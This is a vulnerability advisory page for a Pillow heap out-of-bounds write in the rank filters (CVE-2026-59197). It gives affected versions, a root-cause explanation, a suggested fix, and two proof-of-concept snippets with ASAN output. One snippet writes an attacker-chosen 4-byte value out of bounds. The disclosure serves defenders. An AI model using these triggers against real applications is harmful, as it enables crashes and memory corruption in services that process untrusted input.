Answer in brief
CVE-2026-59197 records a High severity (CVSS 8.2) vulnerability in Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`. The current sources do not mark it as known exploited. The current feed maps pillow (pypi). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 8.2. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps pillow (pypi). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| pillowpypi | >=0 <12.3.0 | 12.3.0 |
Published upstream
Jul 14, 2026
Evidence: source:osv:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Jul 15, 2026
### Summary Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size. Minimal public API trigger: ```python from PIL import Image, ImageFilter im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295)) ``` `ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)` before rank-filter size validation. With `size = 4294967295`, the expansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes the output dimensions with unchecked signed `int` arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation. This is reachable through documented public classes (`RankFilter`, `MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom Python object is needed. ### Details Current `src/PIL/ImageFilter.py`: ```python class RankFilter(Filter): def filter(self, image): if image.mode == "P": msg = "cannot filter palette images" raise ValueError(msg) image = image.expand(self.size // 2, self.size // 2) return image.rankfilter(self.size, self.rank) ``` The `expand()` call is made before `image.rankfilter(...)`. Current `src/libImaging/Filter.c:ImagingExpand()` does not check output-size overflow: ```c if (xmargin < 0 && ymargin < 0) { return (Imaging)ImagingError_ValueError("bad kernel size"); } imOut = ImagingNewDirty( imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin ); ``` For a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size wraps to `1x1` on tested builds. The following loop still uses the huge margin: ```c for (x = 0; x < xmargin; x++) { imOut->image[yout][x] = imIn->image[yin][0]; } ``` `src/libImaging/RankFilter.c` does contain checks that would reject this size: ```c if (!(size & 1)) { return (Imaging)ImagingError_ValueError("bad filter size"); } if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) { return (Imaging)ImagingError_ValueError("filter size too large"); } ``` But those checks are reached only after `RankFilter.filter()` has already called `image.expand(...)`. Mode `"L"` produces 1-byte OOB stores. Modes `"I"` and `"F"` produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write. ### PoC Minimal ASAN crash PoC: ```python from PIL import Image, ImageFilter im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295)) ``` Observed on local Pillow `12.3.0.dev0` ASAN target: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 1 ImagingExpand /out/src/src/libImaging/Filter.c:99 _expand_image /out/src/src/_imaging.c:1100 0 bytes after a 1-byte allocation ``` 4-byte write variant with source pixel loaded from normal image bytes: ```python from io import BytesIO from PIL import Image, ImageFilter SIZE = 4294967295 PIXEL = 0x41424344 src = BytesIO() Image.new("I", (3, 3), PIXEL).save(src, format="TIFF") im = Image.open(BytesIO(src.getvalue())) im.load() assert im.mode == "I" assert im.getpixel((0, 0)) == PIXEL im.filter(ImageFilter.MedianFilter(SIZE)) ``` Observed ASAN signature: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 4 ImagingExpand /out/src/src/libImaging/Filter.c:101 _expand_image /out/src/src/_imaging.c:1100 0 bytes after a 4-byte allocation ``` Version checks: ```text Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public validation order and unchecked ImagingExpand arithmetic upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected ``` ### Impact It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes. Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode `"I"` images. ## Possible fix Validate the rank-filter size before calling `image.expand(...)`, and harden `ImagingExpand()` against invalid margins and overflow: ```c if (xmargin < 0 || ymargin < 0) { return (Imaging)ImagingError_ValueError("bad kernel size"); } if (xmargin > (INT_MAX - imIn->xsize) / 2 || ymargin > (INT_MAX - imIn->ysize) / 2) { return (Imaging)ImagingError_ValueError("bad kernel size"); } ```
Quoted source text, attributed separately from HOL analysis.